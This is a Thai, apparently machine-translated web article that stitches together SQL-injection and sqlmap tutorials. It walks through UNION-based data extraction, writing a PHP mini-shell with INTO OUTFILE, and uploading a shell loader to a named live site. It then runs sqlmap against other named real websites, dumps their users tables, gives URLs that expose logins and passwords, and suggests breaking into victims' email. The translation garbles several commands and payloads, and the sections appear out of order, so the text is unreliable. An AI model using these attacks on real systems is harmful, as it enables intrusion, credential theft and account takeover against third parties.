อย่างที่คุณเห็น sqlmap บอกเราว่าไฟล์มีขนาดเท่ากับไฟล์บนเซิร์ฟเวอร์ ดังนั้นเราจึงมีสิทธิ์อ่านไฟล์นี้ หากมีสิทธิ์ไม่เพียงพอในการอ่านไฟล์นี้ก็จะเกิดข้อผิดพลาดว่าไฟล์ที่บันทึกในเครื่องของเรามีขนาดแตกต่างจากไฟล์บนเซิร์ฟเวอร์หรือไม่มีไฟล์บนเซิร์ฟเวอร์ตามเส้นทางที่เราระบุและไม่เคยมี รับ Sqlmap บันทึกไฟล์ของเราไว้ในไฟล์รายงาน และหากต้องการอ่านมัน เราจำเป็นต้องเปิดตัวจัดการหน้าต่าง ในการเรียกใช้ตัวจัดการหน้าต่างให้เปิดหน้าต่างเทอร์มินัลอื่นแล้วป้อนคำสั่ง:
ต่อไปในตัวจัดการที่เปิดขึ้น เราจะปฏิบัติตามเส้นทางที่ sqlmap เพิ่มไฟล์ เช่น:
/root/.sqlmap/output/sacoor.com
จากนั้นเลื่อนเคอร์เซอร์ไปที่ไฟล์แล้วกดปุ่ม F3บนแป้นพิมพ์และอ่านไฟล์ปรับแต่ง Apache:
จากไฟล์กำหนดค่าของเรา เราพบว่าไซต์ของเราอยู่บนเซิร์ฟเวอร์ตามเส้นทางต่อไปนี้:
/home/sbshop/site/
ตอนนี้เรามีข้อมูลเพียงเล็กน้อยแล้ว เราก็สามารถลองเติมข้อมูลในเชลล์ได้ โดยป้อนคำสั่งต่อไปนี้:
หลังจากป้อนคำสั่งแล้ว sqlmap จะถามว่าเราต้องการใช้ฟิลเลอร์ชนิดใด เพราะ... ในกรณีของเรา เว็บไซต์เป็น PHP จากนั้นเราจะอัปโหลด ตัวโหลด PHP, เลือก จุดที่ 4และกด Enter ต่อไป sqlmap จะขอให้เราเลือกว่าเราจะอัพโหลดโหลดเดอร์ของเราที่ไหน และเนื่องจาก... เราทราบเส้นทางไปยังเว็บไซต์ของเราบนเซิร์ฟเวอร์แล้ว จากนั้นเลือก จุดที่ 2, กด เข้าและระบุเส้นทางไปยังเว็บไซต์:
/home/sbshop/site/
และหลังจากนั้นเราก็กด เข้าและเราเห็นรายงานต่อไปนี้:
ในกรณีนี้ sqlmap บอกเราว่าเราไม่มีสิทธิ์ในการเขียนโฟลเดอร์นี้ ไม่มีปัญหา ปัญหานี้แก้ไขได้ง่ายมาก เราให้คำสั่งให้เรียกใช้ Uniscan และตรวจสอบไฟล์และโฟลเดอร์เพื่อการเขียน นี่คือคำสั่ง:
Uniscan -u http://www.sacoor.com/ -qwe
ตอนนี้สแกนเนอร์จะตรวจสอบไดเร็กทอรีที่เขียนได้ทั้งหมด:
เครื่องสแกนพบไดเร็กทอรีสามไดเร็กทอรีที่สามารถเขียนไฟล์ได้ ดังนั้นเราจึงพยายามโหลดเชลล์โหลดเดอร์ของเราอีกครั้ง แต่คราวนี้แตกต่างออกไป รันคำสั่งอีกครั้ง:
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l
และโดยการเลือก จุดที่ 4(กรอกสคริปต์ PHP) ระบุเส้นทาง:
/home/sbshop/site/admin
เราเห็นดังต่อไปนี้
สวัสดีผู้อ่าน เมื่อเร็ว ๆ นี้ ฉันสนใจในเรื่องความปลอดภัยของเว็บ และงานของฉันก็เกี่ยวข้องกับเรื่องนี้ในระดับหนึ่ง เพราะ บ่อยครั้งที่ฉันเริ่มสังเกตเห็นหัวข้อต่างๆ ในฟอรัมต่างๆ ที่ขอให้พวกเขาแสดงให้เห็นว่ามันทำงานอย่างไร ดังนั้นฉันจึงตัดสินใจเขียนบทความ บทความนี้จะมุ่งเป้าไปที่ผู้ที่ยังไม่เคยเจอสิ่งนี้แต่ต้องการเรียนรู้ มีบทความค่อนข้างมากในหัวข้อนี้บนอินเทอร์เน็ต แต่จะซับซ้อนเล็กน้อยสำหรับผู้เริ่มต้น ฉันจะพยายามอธิบายทุกอย่างด้วยภาษาที่ชัดเจนและตัวอย่างโดยละเอียด
คำนำ
เพื่อที่จะเข้าใจบทความนี้ คุณไม่จำเป็นต้องมีความรู้เกี่ยวกับภาษา SQL จริงๆ แต่อย่างน้อยก็มีความอดทนและมีสมองในการท่องจำเชื่อว่าแค่อ่านบทความอย่างเดียวคงไม่พอ เพราะ... เราต้องการตัวอย่างที่มีชีวิต - ดังที่คุณทราบ การฝึกฝนในกระบวนการท่องจำนั้นไม่เคยฟุ่มเฟือย ดังนั้นเราจะเขียนสคริปต์ที่มีช่องโหว่และฝึกฝนกับมัน
SQL Inject คืออะไร?
พูดง่ายๆ ก็คือนี่คือการโจมตีฐานข้อมูลซึ่งจะช่วยให้คุณสามารถดำเนินการบางอย่างที่ผู้สร้างสคริปต์ไม่ได้วางแผนไว้ ตัวอย่างจากชีวิต:พ่อเขียนบันทึกถึงแม่เพื่อมอบเงิน 100 รูเบิลให้กับวาสยาแล้ววางลงบนโต๊ะ การนำสิ่งนี้กลับมาใช้ใหม่เป็นภาษา SQL แบบการ์ตูน เราได้รับ:
รับ 100 รูเบิลจากกระเป๋าเงินของคุณแล้วมอบให้วาสยา
เนื่องจากพ่อเขียนโน้ตได้ไม่ดี (ลายมืองุ่มง่าม) และทิ้งมันไว้บนโต๊ะ Petya น้องชายของ Vasya จึงเห็นมัน Petya ซึ่งเป็นแฮกเกอร์จึงเพิ่มคำว่า “OR Pete” ลงไปที่นั่น และผลลัพธ์ก็คือคำขอต่อไปนี้:
รับ 100 RUBLES จากกระเป๋าเงินของคุณแล้วมอบให้ Vasya หรือ Petya
แม่หลังจากอ่านบันทึกแล้วตัดสินใจว่าเธอให้เงินกับ Vasya เมื่อวานนี้และมอบ 100 รูเบิลให้กับ Petya นี่คือตัวอย่างง่ายๆ ของการฉีด SQL จากชีวิต :) โดยไม่ต้องกรองข้อมูล (แม่แทบจะไม่เข้าใจลายมือเลย) Petya ก็ทำกำไรได้
การตระเตรียม
สำหรับการปฏิบัติ คุณจะต้องมีไฟล์เก็บถาวรพร้อมสคริปต์ต้นฉบับสำหรับบทความนี้ ดาวน์โหลดและแกะมันบนเซิร์ฟเวอร์ นำเข้าฐานข้อมูลและตั้งค่าข้อมูลในไฟล์ด้วย cfg.phpค้นหาการฉีด SQL
ตามที่คุณเข้าใจแล้ว การแทรกจะมาจากข้อมูลขาเข้าที่ไม่ได้กรอง ข้อผิดพลาดที่พบบ่อยที่สุดคือการไม่กรอง ID ที่ส่ง พูดคร่าวๆ ใส่เครื่องหมายคำพูดในทุกช่อง ไม่ว่าจะเป็นคำขอ GET/POST หรือแม้แต่คุกกี้!
พารามิเตอร์อินพุตตัวเลข
สำหรับการฝึกฝนเราจำเป็นต้องมีสคริปต์ index1.php- ดังที่ได้กล่าวไปแล้วข้างต้น เราจะใส่เครื่องหมายคำพูดลงในรหัสข่าวเพราะ คำขอของเราไม่มีการกรอง:
$id = $_GET["id"]; $query = "SELECT * จากข่าว WHERE id=$id";
สคริปต์จะเข้าใจสิ่งนี้เป็น
SELECT * จากข่าว โดยที่ id=1"
และมันจะทำให้เรามีข้อผิดพลาด:
คำเตือน: mysql_fetch_array() คาดว่าพารามิเตอร์ 1 จะเป็นทรัพยากร โดยให้บูลีนใน C:\WebServ\domains\sqlinj\index1.php ออนไลน์ที่ 16
หากข้อผิดพลาดไม่ปรากฏขึ้น อาจเกิดจากสาเหตุต่อไปนี้:
1.การแทรก SQL ไม่อยู่ที่นี่ - ราคาถูกกรองแล้ว หรือคุ้มค่าที่จะแปลงเป็น (int)
2. เอาต์พุตข้อผิดพลาดถูกปิดใช้งาน
หากคุณยังคงได้รับข้อผิดพลาด - ไชโย! เราพบการฉีด SQL ประเภทแรก - พารามิเตอร์อินพุตตัวเลข
พารามิเตอร์อินพุตสตริง
เราจะส่งคำขอไปที่ index2.php- ในไฟล์นี้ คำขอจะมีลักษณะดังนี้:
$user = $_GET["ผู้ใช้"]; $query = "เลือก * จากข่าว WHERE user="$user"";
ที่นี่เราเลือกข่าวตามชื่อผู้ใช้ และอีกครั้ง เราไม่ได้กรอง
เราส่งคำขอพร้อมใบเสนอราคาอีกครั้ง:
มันทำให้เกิดข้อผิดพลาด ตกลง! ซึ่งหมายความว่ามีช่องโหว่ สำหรับผู้เริ่มต้น นั่นก็เพียงพอแล้วสำหรับเรา - มาฝึกซ้อมกันดีกว่า
มาดำเนินการกันเถอะ
ทฤษฎีเล็กน้อย
คุณอาจแทบรอไม่ไหวที่จะได้อะไรจากสิ่งนี้นอกเหนือจากความผิดพลาด ก่อนอื่นให้เข้าใจว่าป้าย " -- " ถือเป็นความคิดเห็นใน SQL
ความสนใจ! จะต้องมีช่องว่างก่อนและหลัง ใน URL จะถูกส่งเป็น %20
ทุกอย่างที่เกิดขึ้นหลังจากความคิดเห็นจะถูกละทิ้ง นั่นคือคำขอ:
SELECT * จากข่าว WHERE user="AlexanderPHP" -- habrahabra
มันจะประสบความสำเร็จ คุณสามารถลองสิ่งนี้บนสคริปต์ index2.php โดยส่งคำขอดังนี้:
Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr
เรียนรู้พารามิเตอร์ ยูเนี่ยน- ในภาษา SQL คำหลัก ยูเนี่ยนใช้เพื่อรวมผลลัพธ์ของแบบสอบถาม SQL สองรายการไว้ในตารางเดียว นั่นคือเพื่อดึงสิ่งที่เราต้องการออกมาจากโต๊ะอื่น
มาใช้ประโยชน์จากมันกันเถอะ
หากพารามิเตอร์เป็น "ตัวเลข" เราไม่จำเป็นต้องส่งใบเสนอราคาในคำขอและใส่ความคิดเห็นไว้ตอนท้ายตามปกติ กลับไปที่สคริปต์กัน index1.php.
ลองเปลี่ยนเป็นสคริปต์ sqlinj/index1.php?id=1 UNION SELECT 1 แบบสอบถามฐานข้อมูลของเรามีลักษณะดังนี้:
SELECT * จากข่าว WHERE id=1 UNION SELECT 1
และเขาทำให้เราผิดพลาดเพราะ... ในการทำงานกับการสืบค้นแบบรวม เราจำเป็นต้องมีฟิลด์จำนวนเท่ากัน
เพราะ เราไม่สามารถควบคุมหมายเลขของพวกเขาในคำขอแรกได้ จากนั้นเราต้องเลือกหมายเลขของพวกเขาในคำขอที่สองเพื่อให้เท่ากับหมายเลขแรก
การเลือกจำนวนช่อง
การเลือกฟิลด์นั้นง่ายมาก เพียงส่งคำขอต่อไปนี้:
sqlinj/index1.php?id=1 ยูเนี่ยนเลือก 1,2
ข้อผิดพลาด…
sqlinj/index1.php?id=1 ยูเนี่ยนเลือก 1,2,3
ผิดพลาดอีกแล้ว!
sqlinj/index1.php?id=1 ยูเนี่ยนเลือก 1,2,3,4,5
ไม่มีข้อผิดพลาด! ซึ่งหมายความว่าจำนวนคอลัมน์คือ 5
จัดกลุ่มตาม
มันมักจะเกิดขึ้นที่อาจมี 20 หรือ 40 หรือ 60 ฟิลด์ เพื่อที่เราจะได้ไม่ต้องเรียงลำดับมันทุกครั้งที่เราใช้ จัดกลุ่มตามหากเป็นการร้องขอ
sqlinj/index1.php?id=1 จัดกลุ่มตาม 2
ไม่แสดงข้อผิดพลาดใดๆ ซึ่งหมายความว่ามีจำนวนฟิลด์มากกว่า 2 เรามาลองกัน:
Sqlinj/index1.php?id=1 จัดกลุ่มตาม 8
อ๊ะ เราเห็นข้อผิดพลาด หมายความว่าจำนวนฟิลด์น้อยกว่า 8
หากไม่มีข้อผิดพลาดกับ GROUP BY 4 และด้วย GROUP BY 6 มีข้อผิดพลาด จำนวนฟิลด์คือ 5
การกำหนดคอลัมน์เอาท์พุต
เพื่อให้แน่ใจว่าไม่มีสิ่งใดปรากฏแก่เราตั้งแต่คำขอแรก การทดแทน ID ที่ไม่มีอยู่ก็เพียงพอแล้ว เช่น:Sqlinj/index1.php?id=-1 ยูเนี่ยนเลือก 1,2,3,4,5
ด้วยการกระทำนี้ เราได้กำหนดว่าคอลัมน์ใดจะแสดงบนเพจ ในตอนนี้ หากต้องการแทนที่หมายเลขเหล่านี้ด้วยข้อมูลที่จำเป็น คุณจะต้องดำเนินการคำขอต่อไป
เอาท์พุทข้อมูล
สมมติว่าเรารู้ว่าตารางยังคงอยู่ ผู้ใช้ซึ่งมีทุ่งนาอยู่ รหัส, ชื่อและ ผ่าน.
เราจำเป็นต้องได้รับข้อมูลเกี่ยวกับผู้ใช้ที่มี ID=1
ดังนั้น เรามาสร้างแบบสอบถามต่อไปนี้:
Sqlinj/index1.php?id=-1 UNION เลือก 1,2,3,4,5 จากผู้ใช้ โดยที่ id=1
สคริปต์ยังคงส่งออกต่อไป
ในการดำเนินการนี้ เราจะแทนที่ชื่อของช่องต่างๆ แทนหมายเลข 1 และ 3
Sqlinj/index1.php?id=-1 ชื่อ UNION SELECT,2,ผ่าน,4,5 จากผู้ใช้โดยที่ id=1
เราได้สิ่งที่เราต้องการแล้ว!
สำหรับ "พารามิเตอร์อินพุตสตริง" เช่นเดียวกับในสคริปต์ index2.phpคุณต้องเพิ่มเครื่องหมายคำพูดที่จุดเริ่มต้นและเครื่องหมายความคิดเห็นที่ส่วนท้าย ตัวอย่าง:
sqlinj/index2.php?user=-1" ชื่อ UNION SELECT,2,ผ่าน,4,5 จากผู้ใช้ โดยที่ id=1 --%20
อ่าน/เขียนไฟล์
หากต้องการอ่านและเขียนไฟล์ ผู้ใช้ฐานข้อมูลจะต้องมีสิทธิ์ FILE_PRIVไฟล์บันทึก
จริงๆ แล้วมันเป็นเรื่องง่ายมาก ในการเขียนไฟล์เราจะใช้ฟังก์ชัน เอาท์ไฟล์.sqlinj/index2.php?user=-1" UNION เลือก 1,2,3,4,5 ลงใน OUTFILE "1.php" --%20
เยี่ยมมาก ไฟล์นี้ได้รับการลงทะเบียนกับเราแล้ว ดังนั้น เราสามารถเติม mini-shell ได้:
sqlinj/index2.php?user=-1" ยูเนี่ยนเลือก 1"",3,4,5 เข้าไปในไฟล์ "1.php" --%20
กำลังอ่านไฟล์
การอ่านไฟล์นั้นง่ายกว่าการเขียน การใช้ฟังก์ชันเพียงอย่างเดียวก็เพียงพอแล้ว โหลด_ไฟล์สำหรับตำแหน่งของสนามที่เราเลือก:Sqlinj/index2.php?user=-1" ยูเนี่ยนเลือก 1,LOAD_FILE("1.php"),3,4,5 --%20
ดังนั้นเราจึงได้อ่านไฟล์ที่เขียนไว้ก่อนหน้านี้แล้ว
วิธีการป้องกัน
การป้องกันตัวเองนั้นง่ายกว่าการหาประโยชน์จากจุดอ่อน เพียงกรองข้อมูล หากคุณกำลังผ่านตัวเลขให้ใช้
$id = (int) $_GET["id"];
ตามที่ผู้ใช้ malroc แนะนำ ป้องกันตัวเองโดยใช้ PDO หรือข้อความที่เตรียมไว้
แทนที่จะทำให้เสร็จ
นี่คือจุดที่ฉันต้องการจบส่วนแรกเกี่ยวกับ "การฉีด SQL สำหรับผู้เริ่มต้น" ในส่วนที่สองเราจะดูตัวอย่างการฉีดที่รุนแรงยิ่งขึ้น ลองเขียนสคริปต์ที่มีช่องโหว่และดำเนินการค้นหาด้วยตนเองและจำไว้ว่าอย่าเชื่อถือผู้ใช้ไซต์ของคุณ
sqlmap คืออะไรและมีไว้เพื่ออะไร?
โปรแกรมนี้ช่วยให้คุณตรวจสอบไซต์เพื่อหาช่องโหว่ของการแทรก SQL, ช่องโหว่ XSS และยังใช้ประโยชน์จากการแทรก SQL รองรับการแทรก SQL ประเภทต่างๆ และฐานข้อมูลที่หลากหลาย
คุณสามารถทำอะไรกับ sqlmap
ด้วย sqlmap คุณสามารถ:
- ตรวจสอบว่าเว็บไซต์มีช่องโหว่หรือไม่
หากไซต์เสี่ยงต่อการถูกฉีด SQL ก็เป็นไปได้:
- รับข้อมูลจากฐานข้อมูลรวมทั้งฐานข้อมูลดัมพ์ (ทั้งหมด)
- แก้ไขและลบข้อมูลจากฐานข้อมูล
- อัปโหลดเชลล์ (แบ็คดอร์) ไปยังเว็บเซิร์ฟเวอร์
หนึ่งในสถานการณ์สำหรับการใช้ sqlmap:
- รับ Username และ Password จากฐานข้อมูล
- ค้นหาแผงการดูแลระบบไซต์ (แผงผู้ดูแลระบบ)
- เข้าสู่ระบบแผงผู้ดูแลระบบด้วยข้อมูลเข้าสู่ระบบและรหัสผ่านที่ได้รับ
หากมีช่องโหว่ การโจมตีสามารถพัฒนาไปในทิศทางต่างๆ:
- การปรับเปลี่ยนข้อมูล
- เติมประตูหลัง
- การแทรกโค้ด JavaScript เพื่อรับข้อมูลผู้ใช้
- การใช้โค้ดสำหรับการเชื่อมต่อกับ BeEF
ดังที่เราเห็นแล้วว่าการแทรก SQL ถือเป็นช่องโหว่ที่อันตรายมากซึ่งทำให้ผู้โจมตีมีโอกาสที่ดี
การตรวจสอบเว็บไซต์โดยใช้ sqlmap
หากไซต์ได้รับข้อมูลจากผู้ใช้โดยใช้วิธี GET (เมื่อมองเห็นทั้งชื่อของตัวแปรและข้อมูลที่ส่งในแถบที่อยู่ของเบราว์เซอร์) คุณจะต้องเลือกที่อยู่ของเพจที่ตัวแปรนี้อยู่ ปัจจุบัน. มันมาหลังเครื่องหมายคำถาม ( ? ), ตัวอย่างเช่น:
- http://www.dwib.org/faq2.php?id=8
- http://www.wellerpools.com/news-read.php?id=22
- http://newsandviews24.com/read.php?id=p_36
ในที่อยู่แรก ชื่อตัวแปรคือ รหัสและค่าที่ส่งผ่านคือ 8 - ที่อยู่ที่สองจะมีชื่อตัวแปรด้วย รหัสและค่าที่ส่ง 22 - ในตัวอย่างที่สาม ชื่อตัวแปรเหมือนกัน แต่ค่าที่ส่งผ่านคือ p_36- ชื่อตัวแปรเดียวกันคือการจับคู่แบบสุ่มสำหรับไซต์ต่างๆ อาจเป็นอะไรก็ได้ ข้อมูลที่ส่งอาจเป็นอะไรก็ได้ อาจมีตัวแปรหลายตัวโดยมีค่าคั่นด้วยสัญลักษณ์ & .
หากเราต้องการตรวจสอบว่าตัวแปร id เสี่ยงต่อการแทรก SQL หรือไม่ เราจำเป็นต้องป้อนที่อยู่ทั้งหมด - http://www.dwib.org/faq2.php?id=8 (ไม่ใช่ http://www.dwib .org /faq2.php หรือ http://www.dwib.org)
คำสั่งเพื่อตรวจสอบตัวแปรที่ส่งผ่านโดยวิธี GET นั้นง่ายมาก:
Sqlmap -u site_address
สำหรับไซต์เหล่านี้ คำสั่งจะเป็น:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36
ในระหว่างกระบวนการตรวจสอบ sqlmap อาจถามคำถามต่าง ๆ และคุณต้องตอบคำถามเหล่านั้น ย(เช่นใช่) หรือ n(เช่น ไม่) ตัวอักษร y และ n อาจเป็นตัวพิมพ์ใหญ่หรือเล็กก็ได้ ตัวพิมพ์ใหญ่หมายถึงตัวเลือกเริ่มต้น หากคุณเห็นด้วย ให้กด Enter
ตัวอย่างสถานการณ์และคำถาม:
การวิเคราะห์พฤติกรรมตรวจพบว่าเป้าหมายได้รับการปกป้องโดย WAF/IPS/IDS บางประเภท คุณต้องการให้ sqlmap พยายามตรวจจับแบ็กเอนด์ WAF/IPS/IDS หรือไม่
การวิเคราะห์พฤติกรรมระบุว่าเป้าหมายได้รับการปกป้องโดย WAF/IPS/IDS บางประเภท คุณต้องการให้ sqlmap พยายามระบุชื่อของ WAF/IPS/IDS หรือไม่
คำขอโปรดของฉัน:
การทดสอบแบบศึกษาสำนึก (พื้นฐาน) แสดงให้เห็นว่าพารามิเตอร์ GET "id" อาจเป็นแบบฉีดได้ (DBMS ที่เป็นไปได้: "MySQL") การทดสอบสำหรับการแทรก SQL บนพารามิเตอร์ GET "id" ดูเหมือนว่า DBMS ส่วนหลังคือ "MySQL" คุณต้องการข้ามเพย์โหลดทดสอบเฉพาะสำหรับ DBMS อื่นๆ หรือไม่
ประเด็นก็คือการวิเคราะห์พฤติกรรมได้พิจารณาว่าพารามิเตอร์อาจมีช่องโหว่และมีการระบุ DBMS ระยะไกลแล้ว ระบบจะถามว่าเราต้องการตรวจสอบต่อไปหรือไม่ และในภาพหน้าจอที่สอง ไซต์ดังกล่าวยังมีความเสี่ยงต่อ XSS อีกด้วย
หากคุณต้องการทำให้กระบวนการเป็นแบบอัตโนมัติเพื่อให้ sqlmap ไม่ถามคุณทุกครั้ง แต่ใช้การเลือกเริ่มต้น (มีตัวเลือกที่ดีกว่าเสมอ) คุณสามารถรันคำสั่งด้วยตัวเลือกได้ --แบทช์:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --แบทช์
ปัญหาที่อาจเกิดขึ้นเมื่อสแกน sqlmap
ข้อผิดพลาดต่อไปนี้อาจปรากฏขึ้น:
การเชื่อมต่อกับ URL เป้าหมายหมดเวลา sqlmap กำลังจะลองคำขออีกครั้งหากปัญหายังคงมีอยู่ โปรดตรวจสอบว่า URL เป้าหมายที่ให้มานั้นถูกต้อง ในกรณีที่เป็นเช่นนั้น คุณสามารถลองรันใหม่โดยเปิดสวิตช์ "--random-agent" และ/หรือสวิตช์พร็อกซี ("--ignore-proxy", "--proxy",...)
หมายความว่าเว็บไซต์ไม่ต้องการ "พูดคุย" กับ sqlmap เป็นตัวเลือกที่เราเสนอให้ใช้ --สุ่มตัวแทน- หากคุณสามารถดูไซต์ในเบราว์เซอร์ได้ แต่ sqlmap เขียนเกี่ยวกับความเป็นไปไม่ได้ในการเชื่อมต่อ แสดงว่าไซต์นั้นเพิกเฉยต่อคำขอ โดยมุ่งเน้นไปที่ตัวแทนผู้ใช้ ตัวเลือก --random-agent เปลี่ยนค่า sqlmap มาตรฐานเป็นแบบสุ่ม:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent
อีกสาเหตุหนึ่งของข้อผิดพลาดนี้อาจเป็นได้ว่า IP ของคุณถูกบล็อกโดยเว็บไซต์ - จากนั้นคุณต้องใช้พรอกซี หากคุณใช้พร็อกซีอยู่แล้วและข้อผิดพลาดนี้ปรากฏขึ้น อาจหมายความว่าพร็อกซีมีปัญหาในการสื่อสาร และคุณควรลองโดยไม่ใช้พร็อกซีดังกล่าว
ผลลัพธ์การสแกน sqlmap
การฉีด SQL ที่ตรวจพบจะแสดงดังนี้:
เหล่านั้น. จะถูกเน้นด้วยสีเขียวตัวหนา เขียนชื่อพารามิเตอร์ที่มีช่องโหว่ ชนิดของช่องโหว่ SQL และมีคำว่า ฉีดได้.
รับรายการฐานข้อมูลด้วย sqlmap
หากต้องการรับรายการฐานข้อมูล ให้ใช้ตัวเลือก --dbs- ตัวอย่าง:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs
การดึงข้อมูลจากฐานข้อมูล
ตัวอย่างเช่น พบฐานข้อมูลสองฐานข้อมูลสำหรับไซต์ wellerpools.com:
[*] information_schema [*] main_wellerpools
ฉันต้องการทราบรายการตารางในฐานข้อมูล main_wellerpools เมื่อต้องการทำเช่นนี้ ให้ใช้ตัวเลือก --ตาราง- นอกจากนี้เรายังต้องระบุตารางที่เราสนใจหลังตัวเลือกด้วย -D:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables
รายชื่อตาราง:
ด้วยเหตุผลบางอย่าง ฉันต้องการทราบรายการคอลัมน์จากตารางผู้ใช้ เมื่อต้องการทำเช่นนี้ ให้ใช้ตัวเลือก --คอลัมน์- นอกจากนั้นเราจำเป็นต้องระบุฐานข้อมูลที่เราสนใจ ( -D main_wellerpools) และหลังกุญแจ -ตตารางที่เราต้องการดูรายการคอลัมน์:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T ผู้ใช้ --columns
หากต้องการแสดงเนื้อหา ให้ใช้ตัวเลือก --การถ่ายโอนข้อมูล- สามารถระบุร่วมกับฐานข้อมูลได้ จากนั้นจะมีการสร้างดัมพ์ของฐานข้อมูลทั้งหมด หรือคุณสามารถจำกัดข้อมูลไว้ที่ตารางเดียวหรือคอลัมน์เดียวก็ได้ ด้วยคำสั่งต่อไปนี้ ฉันต้องการดูเนื้อหาของตารางผู้ใช้ทั้งหมด:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T ผู้ใช้ --dump
ดูรหัสผ่าน - เมื่อตรวจสอบอย่างรวดเร็ว ฉันคิดว่ามันเป็นแฮช ผู้ดูแลระบบพยายามปกป้องตัวเองจริงๆ แต่ก็ไม่ได้ช่วยอะไรพวกเขา
อย่างไรก็ตาม เนื่องจากพารามิเตอร์ที่รับข้อมูลที่ส่งโดยวิธี GET นั้นมีช่องโหว่ คุณจึงสามารถสร้างคำขอได้โดยตรงในบรรทัดเบราว์เซอร์ในลักษณะที่ข้อมูลเข้าสู่ระบบและรหัสผ่านของผู้ใช้จะปรากฏบนเว็บไซต์โดยตรง:
- http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+จาก+ผู้ใช้--
- http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+จาก+ผู้ใช้--
เหล่านั้น. เรามีชื่อผู้ใช้ รหัสผ่าน และอีเมลของผู้ใช้ (และอาจเป็นผู้ดูแลระบบด้วยซ้ำ) ของเว็บไซต์ หากคุณพบแผงการดูแลระบบของไซต์ คุณสามารถควบคุมไซต์หรือเว็บเซิร์ฟเวอร์ได้ เนื่องจากผู้ใช้ชื่นชอบรหัสผ่านเดียวกันและรู้จักกล่องจดหมายของพวกเขา คุณสามารถลองแฮ็กเมลของพวกเขาได้
โดยทั่วไปแล้ว การแทรก SQL ถือเป็นช่องโหว่ที่อันตรายมาก